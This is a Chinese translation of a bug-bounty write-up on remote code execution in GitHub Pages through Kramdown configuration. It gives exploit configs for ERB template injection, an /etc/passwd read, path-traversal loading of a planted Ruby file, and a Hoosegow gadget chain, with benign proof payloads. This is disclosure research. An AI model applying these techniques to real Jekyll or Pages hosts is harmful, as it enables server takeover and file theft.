0x01 开篇
我一直在关注GitHub企业版的发布说明,主要关注补丁的bug修复。这次,我发现补丁发布对Kramdown中的一个问题进行了关键修复。
Ruby 2.3.0版本之前的kramdown gem默认执行Kramdown文档中的模板配置,允许任意的读取访问(比如template=”/etc/passwd)或任意嵌入Ruby代码执行(比如以template=”string://<%= `“开头的字符串)。注意:kramdown在Jekyll、GitLab Pages、GitHub Pages和Thredded Forum中使用。
_config.yaml
中添加了以下内容:markdown: kramdown
kramdown:
template: string://<%= %x|date| %>
<div class="home">Tue 20 Oct 2020 21:12:08 AEDT
<h2 class="post-list-heading">Posts</h2>
0x02 漏洞发现
Kramdown::Options
模块,发现simple_hash_validator使用YAML.load
,这将有可能通过反序列化来创建任意的ruby对象:def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.load(val)
pages_jekyll
会加载safe_yaml,防止YAML.load
的反序列化。Create a new Kramdown document from the string +source+ and use the provided +options+. The
# options that can be used are defined in the Options module.
#
# The special options key :input can be used to select the parser that should parse the
# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to
# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not
# set, it defaults to +Kramdown+.
#
# The +source+ is immediately parsed by the selected parser so that the root element is
# immediately available and the output can be generated.
def initialize(source, options = {})
@options = Options.merge(options).freeze
parser = (@options[:input] || 'kramdown').to_s
parser = parser[0..0].upcase + parser[1..-1]
try_require('parser', parser)
if Parser.const_defined?(parser)
@root, @warnings = Parser.const_get(parser).parse(source, @options)
else
raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")
end
end
:input
选项时,会将第一个字母做成大写,然后传给 try_require
,类型设置为 parser
:# Try requiring a parser or converter class and don't raise an error if the file is not found.
def try_require(type, name)
require("kramdown/#{type}/#{Utils.snake_case(name)}")
true
rescue LoadError
true
end
require
加载一个不在预定路径上的文件。system("echo hi > /tmp/ggg")
的文件/tmp/evil.rb
,然后用下面的_config.yml
启动jekyll:markdown: kramdown
kramdown:
input: ../../../../../../../../../../../../../../../tmp/evil.rb
jekyll 3.8.5 | Error: wrong constant name ../../../../../../../../../../../../../../../tmp/evil.rb
, 但查看/tmp/
里的内容,发现ruby代码被成功执行:cat /tmp/ggg
hi
0x03 漏洞利用
/tmp/evil.rb
,同样成功得到执行。接下来要做的就是想办法把ruby文件放到一个已知的位置,并作为payload使用。我使用perf-tools的opensnoop
工具,在github构建jekyll页面站点时观察路径,发现以下目录:/data/user/tmp/pages/page-build-23481
/data/user/tmp/pages/pagebuilds/vakzz/jekyll1
dd if=/dev/zero of=file.out bs=1000000 count=100
创建了五个 100mb 的文件code.rb
并将它们作为payload添加到 jekyll 站点,然后通过while true; do git add -A . && git commit --amend -m aa && git push -f; done
创建循环。再次观察/data/user/tmp/pages/pagebuilds/vakzz/jekyll1
目录,发现它存在的时间变长了。input
,指向jeykll构建的第一个文件夹:markdown: kramdown
kramdown:
input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb
ls -asl /tmp/ | grep ggg
4 -rw-r--r-- 1 pages pages 3 Aug 19 13:58 ggg4
:Rouge::Formatters.const_get
进行查询:def self.formatter_class(opts = {})
case formatter = opts[:formatter]
when Class
formatter
when /A[[:upper:]][[:alnum:]_]*z/
::Rouge::Formatters.const_get(formatter
simple_hash_validator
一起进行了提交。::Rouge::Formatters.const_get
的实际工作原理。结果发现,它并不像我原来想的那样,把常量限制在::Rouge::Formatters
上,而是可以返回任何定义过的常量或类。虽然正则仍然有限制(不允许使用::
),但仍然可以用来返回类。一旦找到了常量,它就会被用来创建一个新的实例,然后调用format
方法:formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
_config.yml
,然后建立网站:kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
jekyll 3.8.5 | Error: private method 'format' called for
formatter
选项肯定应该被限制,我会继续研究它是否可被利用。require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /A[[:upper:]][[:alnum:]_]*z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "workednn"
rescue ArgumentError
puts "nopenn"
rescue NoMethodError
puts "nopenn"
rescue => e
p e
puts "maybenn"
end
end
worked
或者maybe
,大部分显示StandardError
。trying Hoosegow
#<Hoosegow::InmateImportError: inmate file doesn't exist>
maybe
def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods
方法如下:def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
options
哈希中添加任何东西,这将允许传递我们自己的inmate_dir
目录,然后需要做的就是在那里等待一个恶意的 inmate.rb
文件。_config.yml
,内容如下:kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: Hoosegow
inmate_dir: /tmp/
/tmp/inmate.rb
文件,并被推送到jekyll网站。几秒钟后,该文件被获取,payload也成功得到执行!译文声明
译文仅供参考,具体内容表达以及含义原文为准。
本文始发于微信公众号(安全客):赏金$25000的GitHub漏洞:通过 GitHub Pages 不安全的Kramdown配置实现多个RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论